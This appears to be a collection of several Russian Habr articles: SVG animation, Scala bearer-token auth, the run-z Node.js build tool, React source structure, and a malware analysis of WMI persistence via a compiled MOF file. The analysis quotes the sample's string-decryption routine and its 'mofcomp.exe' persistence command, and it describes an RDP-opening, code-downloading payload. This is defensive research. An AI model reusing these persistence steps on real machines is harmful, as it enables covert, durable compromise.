Что-то конкретное про маски сложно рассказать. Нужно брать и использовать. Пожалуй есть только один момент, который может вызвать недоумение: если работаем с трансформациями, нужно следить за тем, чтобы маски применялись туда, куда нужно. Тут валидатор не подскажет, если что-то не так. Если к одному и тому же элементу применить и маску, и трансформацию, то он уедет в сторону вместе с маской и будет казаться, что ничего не работает. Хотя на самом деле все работает. Просто высокоточный робот делает какую-то фигню, которую мы, глупые люди, сказали сделать.
И еще с масками хорошо сочетается дублирование элементов. Можно делать ненастоящее 3D и анимации, визуально противоречащие логике работы z-index на странице:
### Фильтры
Тема фильтров в SVG — это материал для отдельной статьи. Там много чего можно сделать. На этом этапе лишь отметим, что некоторые фильтры в контексте анимаций начинают играть новыми красками. Как пример — липкий фильтр из примера с прелоадером, который был выше.
Главное, что стоит знать, так это то, что большая часть эффектов, которые SVG-фильтры позволяют сделать, по своей природе требуют определенных вычислительных мощностей. Очень легко затормозить всю страницу, если ими злоупотреблять. Если тема фильтров будет интересна, то, возможно, появится отдельный материал по ней.
SVG vs. 2D-canvas vs. WebGL
---------------------------
Итак, мы разобрались со многими вещами. Посмотрели, как готовить SVG, как внедрять в страницу, какие есть варианты анимирования, инструменты, и популярные технические приемы. Напоследок будет хорошо сравнить все это с альтернативами, чтобы как-то устаканить новые знания в мире фронтенда в целом. Обычно люди изучают все в последовательности HTML > CSS > SVG > 2D canvas > WebGL. Вот по ней и пройдем.
SVG-анимации привносят в мир HTML+CSS новые возможности в виде работы с кривыми. Здесь мы можем генерировать кривые нужной формы, делать морфинг, делать движение объектов по кривым. Можем делать более хитрые по сравнению с CSS маски и фильтры. Но аккуратно, не забывая о производительности. А еще можем просто использовать SVG как более гибкий вариант Image Map для разных карт и схем, который еще и анимируется.
По сравнению с 2D-канвасом мы имеем векторную штуковину, которую легко адаптировать под разные размеры экрана. Морфинг, движение по кривым, фильтры — все это есть из коробки. Есть стандартные события вроде hover, да и в целом можно делать все, что мы делаем с HTML элементами на странице. Легко все интегрировать. Но мы не можем работать с отдельными пикселями и не можем экспортировать какие-то промежуточные состояния в виде готовых картинок. Так что если нужны пиксели — выбора не остается. Только канвас. Еще в теории у канваса может быть лучше производительность на тех же задачах. Есть разные синтетические тесты, и вроде что-то можно насчитать в пользу канваса. Но это все дело такое — нужно смотреть, какие там конечные алгоритмы будут применяться для рендеринга. Скорее всего то, что действительно тормозит в виде SVG, никакой 2D-канвас уже не спасет.
И где-то еще дальше находится WebGL. Тут у нас полная свобода в 3D, так что сравнивать это с миром SVG будет не совсем корректно. SVG в 3D не умеет. Тем не менее некоторые задачи, которые обычно делаются на SVG, можно сделать и с помощью WebGL, написав все алгоритмы своими руками. Маски и фильтры для картинок часто делают на WebGL. В этом контексте, в отдельных случаях можно получить лучшую производительность, написав абсолютно топорный аглоритм для своего частного решения какой-то задачи. Отбросив все проверки и убив универсальность действительно можно порой выиграть по части производительности. Но тут нужно понимать, что и зачем мы делаем. Потому что можно как выиграть, так и наговнокодить что-то, что потом вообще с трудом будет работать на ноутбуках. Это та область, где уже действительно нужны те самые базовые знания из мира computer science, которыми все пугают новичков в IT.
Заключение
----------
Ух. Много чего обсудили, пора подвести какие-то итоги. SVG-анимации, как мы поняли, не являются чем-то принципиально новым и чуждым для мира фронтенда. Многие подходы здесь такие же, как и при работе с HTML. Но есть и свои фишки, которыми можно расширить свой инструментарий. Конечно не получится в рамках одной статьи охватить абсолютно все свойства и технические приемы, которые могут пригодиться, но я надеюсь, что мы охватили достаточный объем, чтобы погрузиться в контекст, в котором уже понятно, что делать дальше.
Если у вас есть какие-то полезные ссылки, или есть релевантный опыт — не стесняйтесь поделиться в комментариях. Возможно в вашем опыте есть успешные примеры применения того же SMIL, и вы можете рассказать, как же вы смогли все приготовить? А может что-то пошло не так — тоже расскажите. Людям, которые будут это читать в будущем, любая дополнительная информация будет полезна. | https://habr.com/ru/post/667116/ | null | ru | null |
# Scala: Авторизация. Защита API с помошью Bearer токена
В это пример я буду рассматривать только парсинг и валидацию токенов что уже пришли в мое API в Authorization хедере. Для генерации токенов, регистрации пользователей и прочего SSO есть много готовых решений которые легко установить или даже устанавливать не надо. Например, Auth0, Keyckloak, IdentityServer4. В пример е буду работать с [Tapir](https://github.com/softwaremill/tapir) который может использовать в качестве бекенда http4s, Akk HTTP, Netty, Finatra, Play, ZIO Http, Armeria. Я буду использовать Tapir + Http4s.
Полистав интернет я выяснил что самой полулярной библиотекой для этого является PAC4J который внутри себя использует [oauth2-oidc-sdk](https://connect2id.com/products/nimbus-oauth-openid-connect-sdk/download).
Исходный код лежит тут - <https://gitlab.com/VictorWinbringer/scalaauth>
Сначала нужно установить sbt. Проще всего по этой инструкции https://www.scala-lang.org/download/
Создаем проект командой (работает и на Windows).
```
sbt new https://codeberg.org/wegtam/http4s-tapir.g8.git
```
Проект создаться сразу с поддержкой БД Постгрес. Сейчас нам БД не нужна поэтому закомментирую строку, запускающую миграции БД в файле Server.scala
```
//_ <- migrator.migrate(dbConfig.url, dbConfig.user, dbConfig.pass)
```
Добавим в файл build.sbt oauth2-oidc-sdk
```
"com.nimbusds" % "oauth2-oidc-sdk" % "9.27"
```
Создаем тип для нашего токена. Тут используем [GitHub - fthomas/refined: Refinement types for Scala](https://github.com/fthomas/refined) для описания ValueObject нашего который может быть только не пустой строкой.
```
type AuthToken = String Refined NonEmpty
object AuthToken extends RefinedTypeOps[AuthToken, String] with CatsRefinedTypeOpsSyntax
```
создаем тип для ошибки
```
final case class Error(msg: String, statusCode: StatusCode) extends Exception
```
Создаем базовый эндпойнт для эндпойнтов требующих авторизацию
```
val baseEndpoint = endpoint
.in("api")
.in("v1")
.errorOut(stringBody.and(statusCode).mapTo[Error])
val baseEndpointWithAuth = baseEndpoint
.in(auth.bearer[AuthToken]())
```
Сама логика валидации. Функция parse. Если токен валидный, то возвращается идентификатор пользователя. Поле “sub” токена. Иначе будет возвращена ошибка
```
def authWithToken(token: AuthToken) = Try[String]({
//Адрес SSO сервера
val iss = new Issuer("https://dev-t-ca3k92.us.auth0.com/")
//Идентификатор нашего клиента он же Audience
val clientID = new ClientID("http://127.0.0.1:8888")
val jwsAlg = JWSAlgorithm.RS256
//Адрес по которому загружать данные для JWK
val jwkSetURL = new URL("https://dev-t-ca3k92.us.auth0.com/.well-known/jwks.json")
val validator = new IDTokenValidator(iss, clientID, jwsAlg, jwkSetURL, new DefaultResourceRetriever())
val idToken = JWTParser.parse(token.value)
//Валидируем токен и получаем сохраненные в нем данные.
//Идет проверка времени жизни и других параметров
val claims = validator.validate(idToken, null)
claims.getSubject().getValue
}).toEither
.swap
.map(x => x.getMessage)
.swap
.flatMap(x => UserId.from(x))
```
Исползуем его в эндпойне что будет возвращать этот самый идентификатор пользователя
```
private val getMySub = BaseController.baseEndpointWithAuth
.in("hello")
.tag("Hello")
.in("sub")
.serverLogic(x=>IO(
authWithToken(x)
.swap
.map(x=> Error(x.getMessage, StatusCode.Unauthorized))
.swap
))
```
Так же Tapir предоставляет возможность делать цепочку вычислений через метод `serverLogicForCurrent`
Например, в первом методе можно распарсить токен а во втором уже проверить роли пользователя и уже работать с нужными данными. Например, вот так.
```
//Возвращает 401 если не удалось провалидировать токен пользователя
def authenticate(token: AuthToken): IO[Either[Error, User]] = ???
//Возвращает 403 если у пользователя нет ни одной роли из писка
def authorize(user: User, roles: Seq[String]): IO[Either[Error, User]] = ???
private val getUserProfile = BaseController.baseEndpointWithAuth
.get
.in("hello")
.tag("Hello")
.in("profile")
.serverLogicForCurrent(authenticate)
.out(jsonBody[User])
.serverLogic({ case (user, _) => authorize(user, Seq("admin", "root")) })
```
Чтобы сгенерировать сам токен доступа заходим в наш дашбоард Auth0 и добавляем приложение.
[https://manage.auth0.com/dashboard/](https://manage.auth0.com/dashboard/us/dev-t-ca3k92/)
 Потом добавляем API
Переходим в раздел для тестирования и копируем токен
Дальше уже можем его использовать в заголовке AccesToken: Bearer {наш токен}
[Исходники](https://gitlab.com/VictorWinbringer/scalaauth) | https://habr.com/ru/post/655081/ | null | ru | null |
# Сборка сложных Node.js проектов утилитой run-z
**Есть** несколько десятков взаимосвязанных пакетов в рабочем дереве ([Yarn Workspaces](https://yarnpkg.com/features/workspaces)).
**Надо** собирать несколько из них. Часто, быстро, и в правильном порядке.
Существующие инструменты либо собирают всё сразу и долго, либо собирают в произвольном порядке, что некорректно и не всегда возможно.
Решение — run-z
**Так выглядит сборка**
Установка
---------
```
npm install run-z --save-dev # Используя NPM
yarn add run-z --dev # Используя Yarn
```
Теперь в `package.json` можно добавлять задачи
```
{
"scripts": {
"all": "run-z build lint,test",
"build": "run-z --then tsc -p .",
"clean": "run-z --then shx rm -rf ./dist",
"lint": "run-z --then eslint .",
"test": "run-z --then jest",
"z": "run-z"
}
}
```
И запускать их
```
npm run all # Запуск одной задачи, используя NPM
yarn all # Запуск одной задачи, используя Yarn
yarn clean build # Запуск нескольких задач, используя Yarn
npm run clean -- build # Запуск нескольких задач, используя NPM
npm run z -- clean build # Запуск через пустую задачу `z`
```
Рекомендую всегда добавлять пустую задачу, например `z`. Она позволит передать дополнительные параметры в `run-z`, а не в `npm` или `yarn`. Например, вот так можно вызвать справку:
```
yarn z --help
npm run z -- --help
```
Как видите, синтаксис вызова у Yarn проще, чем у NPM.
Ниже в тексте я буду использовать Yarn в примерах.
Задачи
------
Задачи записываются как обычные сценарии в разделе `scripts` файла `package.json`. Если такой сценарий запускает команду `run-z`, то последняя трактует *все* сценарии как свои задачи и может запустить сразу несколько.
Если перечислить несколько задач в командной строке `run-z`, то выполнение каждой из них станет предварительным условием для следующей:
```
run-z prerequisite1 prerequisite2 --then node ./my-script.js --arg
```
Такая задача запустит сначала `prereqiusite1`, затем, дождавшись её завершения — `prerequisite2`, и только по её окончании — запустит сценарий `node ./my-script.js --arg`.
Поддерживаются четыре типа задач:
* **Команда** содержит опцию `--then`. Всё, что следует за этой опцией — это команда с аргументами, которая будет выполнена.
* **Сценарий NPM** — это любой сценарий в разделе `scripts` файла `package.json`, отличный от `run-z`. `run-z` запускает такие сценарии через `npm run` или `yarn run`.
* **Группа** содержит список задач для запуска, но не содержит команды. Список задач может быть пустым.
* **Неизвестная задача** создаётся, если не соответствует ни одному сценарию в `package.json`. При попытке её запуска возникнет ошибка. Но задачи можно пропускать, тогда никакой ошибки не будет.
### Параметры выполнения задач
Можно передавать дополнительные параметры в вызываемые задачи. Для этого предназначен особый синтаксис:
```
run-z test/--ci/--runInBand # Передача `--ci` и `--runInBand`
# в команду или сценарий NPM,
# запущенный задачей `test`.
run-z test //--ci --runInBand// # Несколько параметров сразу.
```
Отдельный синтаксис нужен, чтобы передавать параметры конкретной задаче, а не команде `run-z`. Впрочем, неопознанные параметры будут переданы задаче и так, без знака `/`.
Одиночные параметры отделяются от задачи одиночным знаком `/`. Перед ним можно добавлять пробелы.
Много параметров можно заключать между ограничителями из нескольких (двух или более) знаков `/`.
### Атрибуты задач
Атрибуты — это пары ключ/значение, которые можно передавать задачам примерно так же, как и параметры:
```
run-z test/attribute=value # Атрибут `attribute` со значением `value`
# для задачи `test`
run-z build test attribute=value # Атрибут `attribute` со значением `value`
# для самой задачи и всех предварительных задач.
run-z test/=if-present # Сокращённо `if-present=on`.
```
Атрибуты пока не очень полезны, но уже могут быть использованы в некоторых случаях:
* Когда установлен атрибут **`if-present`** для задачи, отсутствующей в `package.json`, то попытки выполнить такую задачу не будет предпринято и ошибка не возникнет.
Может быть полезно, когда задача выполняется в нескольких пакетах одновременно, но в некоторых пакетах такая задача не определена.
* Когда для задачи установлен атрибут **`skip`**, то выполняться такая задача не будет.
### Дополнения к задачам
`run-z` запускает каждую задачу только раз, сколько бы раз она ни была вызвана. Даже если одна задача требуется для выполнения нескольких других. И каждый раз, как задача вызывается, ей можно передавать параметры и атрибуты. Параметры таких вызовов объединяются.
Также есть особый синтаксис вызова задачи, называемый дополнением. Если перед именем задачи поставить знак **`+`**, то параметры в задачу будут переданы, но вот выполнение задачи инициировано не будет.
Это можно использовать, например, для задания параметров задачи по умолчанию. Так что с таким `package.json`:
```
{
"scripts": {
"test": "run-z +z jest",
"z": "run-z +test/--runInBand"
}
}
```
при исполнении задачи `test`, `jest` всегда будет вызываться с опцией `--runInBand`.
Параллельное и последовательное выполнение
------------------------------------------
Любые две задачи выполняются последовательно, если только им не разрешено выполняться параллельно.
Запятая между именами задач разрешает их параллельное выполнение.
Например, задача
```
run-z clean build lint,test
```
Выполнит `lint` и `test` параллельно, но лишь когда `build` завершится. А задача `build` начнёт выполняться, только когда завершится `clean`.
Также можно выполнять команды параллельно с другими задачами. Для этого достаточно опцию `--then` заменить на опцию `--and`:
```
run-z copy-assets --and tsc -p . # Копирует файлы и компилирует
# TypeScript одновременно.
```
Число одновременно выполняемых задач ограничено. По умолчанию — числом процессоров. Но можно это исправить опцией `--max-jobs` (сокращённо `-j`):
```
run-z build,lint,test -j2 # Только две задачи одновременно.
run-z build,lint,test -max-jobs 1 # Отключает параллельное выполнение.
run-z build,lint,test -j0 # Убирает ограничение.
```
Пакетное выполнение
-------------------
Можно выполнить задачу в другом пакете:
```
run-z ../package1 build test . build test
```
Эта задача выполнит `build` и `test` в пакете из директории `../package1`, а затем — в текущем.
Опции командной строки `.`, `..`, а также начинающиеся с `./` и `../` — это URL указывающие на директории с пакетами. Задачи, перечисленные после них, будут найдены и выполнены в целевом пакете.
В общем случае такие опции — селекторы — могут выбрать сразу несколько пакетов. Тогда задача с одним и тем же именем будет выполнена во всех. Партией:
```
run-z ./packages// build # Выполнит `build` в каждом пакете
# непосредственно внутри директории `./packages`.
run-z ./packages/// build # Выполнит `build` в директории `./packages`
# и в каждом пакете найденном как угодно глубже.
```
`//` выбирает непосредственно вложенные директории. `///` выбирает директорию и её поддиректории на любую глубину. Скрытые директории и директории без файла `package.json` игнорируются.
Можно указать сразу несколько селекторов. Результаты выборок будет объединены:
```
run-z ./3rd-party// ./packages// build # Выполнит `build` в каждом пакете
# из директорий `./3rd-party`
# и `./packages`.
```
Порядок выполнения задач из партии определяется зависимостями между пакетами. То есть сначала задача выполняется для зависимости, а затем — для зависящего от него пакета. Задачи в независимых пакетах выполняются параллельно.
Можно разрешить всем задачам в партии выполняться параллельно опцией `--batch-parallel`, сокращённо `--bap`:
```
run-z --batch-parallel ./packages// lint # Выполнит `lint` в каждом пакете
# внутри директории `./packages
# параллельно.
```
### Подзадачи
Задача типа "группа" не только выполняет перечисленные задачи. Она также может быть использована для запуска произвольных задач в выбранных пакетах.
Для этого группе можно передать параметры вызова. И первым параметром будет имя (под-)задачи, которую нужно выполнить. Остальные параметры будут переданы уже в эту подзадачу.
Так что с таким `package.json`:
```
{
"scripts": {
"each": "run-z ./3rd-party// ./packages//"
}
}
```
можно выполнить задачи партией внутри директорий `3rd-party/` и `packages/`:
```
yarn each /build each /test # Выполнит `build`, а затем `test` во всех пакетах.
```
Именованные партии задач
------------------------
Для удобства работы в рабочем дереве (например [Yarn Workspaces](https://yarnpkg.com/features/workspaces)) партии задач можно именовать.
Допустим, есть корневой пакет с таким `package.json`:
```
{
"scripts": {
"all/*": "run-z ./packages//",
"z": "run-z"
}
}
```
Здесь сценарий с именем "all/\*" — это описание именованной партии. С таким описанием становится возможным пакетное выполнение задач как находясь в корне, так и находясь во вложенных директориях:
```
yarn z build --all # Выполняет `build` во всех пакетах.
```
Когда указана опция `--all`, `run-z` ищет самый верхний пакет, содержащий именованные партии задач, и выполняет задачи в этих партиях.
Имя именованной партии может быть "имя\_партии/имя\_задачи". Такая именованная партия используется вместо "имя\_партии/\*", когда выполняется задача "имя\_задачи". Это полезно, например, когда нужно передать дополнительные опции в конкретную задачу:
```
{
"scripts": {
"all/*": "run-z ./packages//",
"all/test": "run-z ./packages// +test/--runInBand",
"z": "run-z"
}
}
```
```
yarn z build --all # Выполняет `build` партией.
yarn z test --all # Выполняет `test` партией с опцией `--runInBand`.
```
Граф зависимостей
-----------------
Именованные партии позволяют выполнять задачи в подмножестве графа зависимостей текущего пакета:
```
yarn build --with-deps # Выполняет `build` в зависимостях
# и в самом пакете.
yarn build --only-deps # Выполняет `build` только в зависимостях.
yarn build --with-dependants # Выполняет `build` в пакете,
# а затем во всех зависимых пакетах.
yarn build --only-dependants # Выполняет `build` только в зависимых пакетах.
```
Сравнение с npm-run-all
-----------------------
[npm-run-all](https://www.npmjs.com/package/npm-run-all) — это весьма популярный инструмент для сборки. Прежде я использовал именно его и могу сравнивать.
Вот так выглядели сценарии сборки типичного проекта, использующего TypeScript, Rollup, ESLint и Jest:
```
{
"scripts": {
"all": "run-p --aggregate-output build:all \"test {@}\" --",
"build": "rollup --config ./rollup.config.js",
"build:all": "run-p --aggregate-output rebuild lint",
"ci:all": "run-p --aggregate-output build:all ci:test",
"ci:test": "jest --ci --runInBand",
"clean": "shx rm -rf d.ts dist target",
"lint": "eslint .",
"rebuild": "run-s clean build",
"test": "jest",
}
}
```
`run-p` здесь выполняет перечисленные задачи параллельно. `run-s` — последовательно.
И вот как это выглядит теперь:
```
{
"scripts": {
"all": "run-z build,lint,test",
"build": "run-z +z rollup --config ./rollup.config.js",
"ci:all": "run-z all +test/--ci/--runInBand",
"clean": "run-z +z --then shx rm -rf d.ts dist target",
"lint": "run-z +z --then eslint .",
"test": "run-z +z --then jest",
"z": "run-z +build,+doc,+lint,+test"
}
}
```
1. Вспомогательная задача "ci:test" для запуска тестов в окружении CI больше не нужна. Все необходимые параметры можно передать прямо в задачу "test".
2. Вспомогательная задача "build:all" была нужна только чтобы выполнять задачи параллельно. Теперь их можно перечислить через запятую.
3. Задача "rebuild" тоже стала не нужна, поскольку можно вызывать несколько задач прямо из командной строки: `yarn clean build`.
4. Появилась задача "z". Она не просто для удобства, а ещё и разрешает параллельное выполнение некоторых задач. Так что `yarn build lint test` выполнит эти задачи параллельно. Не нужно каждый раз вспоминать, где поставить запятую.
5. Все сценарии теперь начинаются с `run-z`. Это необязательно для простых сценариев, но даёт возможность применить настройки по умолчанию, а также запустить несколько задач сразу, например `yarn clean build`.
6. Немаловажно также то, что `run-z` запускается единожды, сколько бы заданий не требовалось выполнить. А `run-p` или `run-s` запускаются каждым сценарием. Запуск V8 совсем не бесплатен.
Планы на будущее
----------------
В ближайших планах — добавить поддержку расширений. Основной замысел в том, чтобы уметь запускать не только внешние команды, но и использовать thread\_workers. Хотя бы вместо некоторых команд. Это позволит как сэкономить ресурсы, так и существенно ускорить сборку. Особенно для быстрых утилит типа `shx rm`. Ведь последняя тратит на порядки больше времени на свой запуск, чем, собственно, на работу. | https://habr.com/ru/post/517506/ | null | ru | null |
# Анализ вредоносных программ. Интересные трюки
Закрепление в системе с использованием WMI
------------------------------------------
В качестве вступления... Друзья и коллеги мне постоянно твердили, чтобы писал статьи, связанные с анализом вредоносных программ. Но неуверенность в результате, возможно, и в своих силах, а также лень, и прежде всего, лень, постоянно останавливали. Да и потом, сейчас много литературы на эту тематику, и на русский стали переводить достаточно оперативно! Ну, что я нового расскажу, да и вряд ли лучше маститых авторов!? Но все же решил сделать серию публикаций про интересные трюки и оригинальные идеи, выявленные при анализе вредоносных программ, а также и про подходы, которые использовались при анализе. Надеюсь, что публикации будет интересными, а возможности и желания хватит на большую серию, а там уже увидим…
---
Итак, в качестве первой публикации решил выбрать одну из любимых находок, которая попалась мне в октябре 2016 года. Речь идет об одной из первых реализаций интересной техники закрепления с помощью *WMI "Event Triggered Execution: Windows Management Instrumentation Event Subscription"* ([T1546.003](https://attack.mitre.org/techniques/T1546/003/)). Вроде и 5 лет прошло, но многие так и не знают про нее, а она ведь не теряет своей актуальности и по сей день. Законтрибьютили эту замечательную технику на *MITRE* в январе 2020 года двое амиго'с из *Elastic*: *Brent Murphy* и *David French*.
Когда в октябре 2016 года разбирал два образца (закодированный скрипт и файл данных), связанные с майнерами, понял, что выявил нечто новое и оригинальное. На тот момент по данной теме была только публикация "красноглазых" из *FireEye*, но она больше была с намеками и совершенно без конкретики. Сразу "по горячим следам" решил поделиться результатами с коллегами-антивирусниками. К слову сказать, закодированный скрипт на тот момент успешно детектировался антивирусами. Отправил для оперативности сначала на публичный сервис "Лаборатории Касперского" *newvirus*, в ответе дежурный аналитик мягко меня "послал". Во второй раз уже отправлял своему знакомому коллеге из "Каспера" с контекстом, и сразу все завертелось, они лихо подхватили и, по его словам, стали докручивать эвристик. А с "Доктор Вебом" получилось куда забавнее: 2 раза отправлял через знакомого в "Веб", и два раза мне отвечали, что ничего интересного не выявили, вредонос детектится. Они искренне не могли понять, что же я хочу от них. На третий раз, как это у нас исстари на Руси водится, но я уже более подробно, с пояснениями расписал свою находку, спецы "Веба" осознали с чем имеют дело, и все сразу сложилось. Было занятно, когда спустя какое-то время, где-то через месяц-два, встречались с руководителем вирлаба "Доктор Веба". И он начал рассказывать про новые выявленные компанией техники и среди прочего начал рассказывать и про мою находку…
– Позвольте! – говорю. – Я же вам эти образцы больше месяца назад отправлял 3 раза…
– Н-да? Хм… Я лично смотрел их. Ах, это были Вы!? Наверное, был поначалу очень сильно занят и посчитал, что это что-то не серьезное… Ну раз вы знакомы с данной техникой… Тогда скипаю… И это скипаю… тоже скипаю… Итак, следующая выявленная нами новая техника…
Образцы на *VT*:
[*iisstt.dat*](https://www.virustotal.com/gui/file/1d16768951121dd9ecbeba32355acfab34b4e090b7337202059fa87b19e14f2f/detection)
[*z.zip*](https://www.virustotal.com/gui/file/70e61429db13332e33e62e56881173e136752cf195c4144330d5c618d69b71a2/detection)
Кстати, *iisstt.dat*, о котором в основном пойдет речь дальше, сейчас только "Доктор Веб" и детектит :-)
Никакой контекстной информации по образцам не было, только то, что выявлены были на одном компьютере.
Смотрим на содержимое файлов.
z.zipiisstt.datВ файле *iisstt.dat* сразу бросаются в глаза сигнатура "*FOMB*" (или "*BMOF*" – соответственно для 32-битного числа *little-endian* `424D4F46h`) и далее после нее поля какого-то заголовка.
Итак, по порядку. *z.zip* – тот самый закодированный скрипт-загрузчик, который детектировался антивирусами. Скрипт закодирован штатным средством *Microsoft Script Encoder*. Для декодирования можно, например, воспользоваться очень старенькой опенсорсной утилитой *scrdec.exe* авторства некоего *MrBrownstone*.
Результат декодирования:
Скрипт предназначен для загрузки из интернета на компьютер других файлов и их запуска. В нем есть зашифрованные строки, и функция расшифровки ниже с тонко намекающим названием *DCaesar*.
```
Function DCaesar(str,offset)
Dim length,char,i
DCaesar = ""
length = Len(str)
For i = 1 To length
char = Mid(str,i,1)
If char >= "A" And char <= "Z" Then
char = Asc("Z") - (Asc("Z") - Asc(char) + offset) Mod 26
DCaesar = DCaesar & Chr(char)
ElseIf char >= "a" And char <= "z" Then
char = Asc("z") - (Asc("z") - Asc(char) + offset) Mod 26
DCaesar = DCaesar & Chr(char)
Else
DCaesar = DCaesar & char
End If
Next
End Function
Function MDnStr(OldStr,Pwd)
Dim newstr:newstr = ""
length = Len(Pwd)
lengthstr = Len(OldStr)
For i = 1 To lengthstr
char = Mid(OldStr,i,1)
p = i Mod length
If p = 0 Then p = 1
p = Mid(Pwd,p,1)
newstr = newstr & DCaesar(char,p)
Next
MDnStr = newstr
End Function
```
Все кажется просто, бери и расшифровывай. Только вот хитрые злоумышленники ключ для расшифровки передают в качестве параметра командной строки *VBS*-скрипта, это видно на картинке выше, с декодированным скриптом:
```
strpwd=WScript.Arguments(1)
```
Но определить ключ совершенно несложно, по зашифрованным строкам, ведь очевидно же, что "*macu*" в начале строки со ссылкой – это "*http*", и так далее. В итоге получаем ключ "*moqmnjplm*". Кстати, теперь стало понятно чем обусловлено поведение антивирусников поначалу, и винить их в этом особо не следует: ежедневно на них льется всякий шлак в больших количествах. Скрипт детектируется, ссылки связаны с майнерами, зачем тратить время и что-то там еще расшифровывать, когда вроде бы все и так очевидно.
Вот это, кстати, яркий пример того, что при анализе малвари надо соблюдать некий баланс: не пропускать важные детали, но при этом не зарываться в ненужных мелочах и не тратить на них драгоценное время. Для этого, конечно, определенно нужен некоторый опыт. Отвлечемся на философию и поговорим вообще про качества реверсера. Занимаюсь реверсом ну, очень давно, и также достаточно давно сформулировал для себя основные качества хорошего реверсера. Их всего три, в порядке важности, по моей субъективной теории. Это интерес, упрямство и интуиция! Знания и опыт, конечно, важны, но они не так критичны, они легко приобретаются со временем, при наличии перечисленных выше качеств, а это уже больше свойства и черты характера. Интерес – это основной двигатель познания чего-то нового. Упрямство – это способность не сдаваться при первых сложностях, а продолжать добиваться цели, пока не достигнешь ее. А интуиция, как многие врачи считают, чуть ли не одно из основных качеств талантливого хирурга. А чем реверсер не хирург!? Или все же патологоанатом, помните картинку на одной отличной книжке по анализу малвари :-)
Короче, тогда не поленился, переделал вредоносный скрипт, чтобы он сам расшифровал все строки.
Когда среди других строк расшифровал выделенную выше строку, весьма был удивлен:
```
mofcomp.exe c:\windows\temp\iisstt.dat
```
Компиляция *MOF*-файла! Неожиданно! Утилита *mofcomp.exe* предназначена для компиляции *MOF*-файлов с целью изменения структуры [*WMI*](https://en.wikipedia.org/wiki/Windows_Management_Instrumentation), причем эти изменения в результате компиляции вносятся непосредственно в репозиторий *WMI*. *BMOF*-файлы (*Binary MOF*-файлы) – это скомпилированные *MOF*-файлы, изначальное их предназначение – использование в системных драйверах, данные *BMOF* хранятся в ресурсе "*MOFDATA*" многих драйверов Windows. Изучив техническую документацию по WMI, злоумышленники посчитали отличной идеей использовать *BMOF* для завуалированного закрепления в системе с помощью репозитория и событий *WMI*.
Также после расшифровки строк стало понятно, что файл *iisstt.dat* помимо прочих файлов был загружен *VBS*-скриптом *z.zip*.
Пытливый ум реверсера всегда ищет короткий путь. Почему-то на глаза первым попался файл из дистрибутива *Windows 98*:
*wmimofck.exe* ("*WMI Mof checking tool*")
SHA-256: b704d8f8dbf9e9c474ead751649bec37e59655e658678bc13836dcce4155d640)
Эта утилита предназначена для проверки *MOF*-файлов, если на вход подается *BMOF*-файл, то он перед проверкой распаковывается. Чем не вариант!? Почему эта утилита была только в *Windows 98* осталось загадкой. Работа реверсера не должна быть похожа на постоянное изобретение велосипеда, на каждом этапе надо искать, кто-то мог сделать это до вас. Но искать, правда, надо еще уметь делать, этому обязательно следует учиться! Ну, а если нашли, следует проверить, что найденное соответствует тому, что вы исследуете. Согласитесь, проверять ведь намного легче, чем начинать что-то с нуля!?
В старой доброй "ольке" (*OllyDbg v1.10*) нашел место, где содержимое *BMOF* распаковывается. Сначала я написал скрипт для "ольки", чтобы распакованное содержимое *BMOF* просто дампилось в отладчике. Ну а потом, рассудил, как "опытный реверсер", что вот де польется поток этой новой малвари, как это бывало уже не раз, и надо быть готовым к этому и иметь готовый инструмент, который можно было бы максимально просто и быстро использовать. А вот разбираться в формате *BMOF* на данном этапе, как всегда, нет ни времени, ни возможности. Поэтому решил взять и просто "инфицировать" *wmimofck.exe*.
Инфицирование wmimofck.exeРазница между виртуальным и физическим размерами кодовой секции *wmimofck.exe* составляет целые *1 852* байта, в которые можно вместить очень много кода, без дополнительных телодвижений. Поэтому решил увеличить просто виртуальный размер кодовой секции и поместить в свободную область в конце секции код, сохраняющий в файл распакованное содержимое *BMOF*.
Единственная маленькая загвоздка – отсутствовала импортируемая функция *WriteFile*, пришлось вручную поправить импорт для добавления *WriteFile*. Как вариант, можно было найти в экспорте загруженной *kernel32.dll* через *PEB*, но так, мне кажется, сложнее.
В итоге из штатной тулзы проверки *MOF*-файлов из *Windows 98* получился распаковщик *BMOF* *bmfunp.exe*, к функциональности доработанной оригинальной программы после небольших усилий добавилось сохранение распакованного содержимого данных *BMOF*.
Чтобы извлечь содержащуюся в *BMOF* полезную нагрузку не понадобился парсер *BMOF*. Полезной нагрузкой оказался вот такой *VBS*-скрипт:
Отличный скрипт от злоумышленников! Открывает доступ по *RDP*, уведомляет об этом злоумышленников путем открытия ссылки, также загружает по другой ссылке и выполняет произвольный *VBS*-код. А, самое, главное, что при выполнении команды `mofcomp.exe c:\windows\temp\iisstt.dat` этот скрипт помещается непосредственно в репозиторий *WMI* и регистрируется как обработчик события *WMI*, в результате чего будет запускаться ежедневно в *23:00:00.*
И файл *iisstt.dat* больше не нужен, новых файлов на диске при закреплении не создается, все в недрах *WMI*. | https://habr.com/ru/post/568228/ | null | ru | null |
# Как разобраться в исходном коде React
React самая популярная библиотека для построения пользовательских интерфейсов. Мы знаем про виртуальное дерево, движок fiber, процедуру reconcilation, хуки и другие прекрасные возможности react. Но как это работает на уровне исходного кода? Ответить на этот вопрос смогут очень небольшое количество программистов.
В этой статье, я стараюсь дать начальное понимание как разобраться в исходниках, отлаживать react и как сделать первые шаги в становлении контрибьютором.
Надеюсь это введение станет для кого-то отправной точкой и рассеет страхи, связанные с тем что разобраться в исходниках популярной библиотеки слишком сложно и "это не для меня".
С чего начать?
--------------
Конечно для того чтобы исследовать реакт необходимо быть пользователем этой библиотеки или хотя бы прочитать документацию.
Помимо документации следует посмотреть доклады, почитать статьи с более детальным описанием как это работает изнутри. Например по react fiber можно найти много докладов и обсуждений как это устроено.
Следующее грядущее крупное изменение в react - concurrent режим, что можно найти по нему?
Доклад Дэна Абрамова на JSConf Iceland 2018, где concurrent режим еще назывался asynchronous (за 3-4 года до реализации возможности):
Несколько скрытых статей в документации React, на которые нет ссылки из меню: <https://reactjs.org/docs/concurrent-mode-intro.html> (внутри ссылки на остальные статьи)
Когда изучили чего ожидать внутри репозитория, можно переходить к исследованию исходного кода.
### Структура репозитория
Открывая папку с исходниками react, мы увидим довольно простую структуру:
Корень репозитория reactfixtures содержат небольшие приложения для отладки различных возможностей react.js
packages - основная директория с исходниками react, содержит более 35 пакетов, в которых хранится весь исходный код, основные из них:
* react - содержит весь код для создания компонентов
* react-reconciler - пакет для сравнения виртуальных деревьев react
* react-dom и react-native-renderer библиотеки для рендера в различных средах, где может работать react
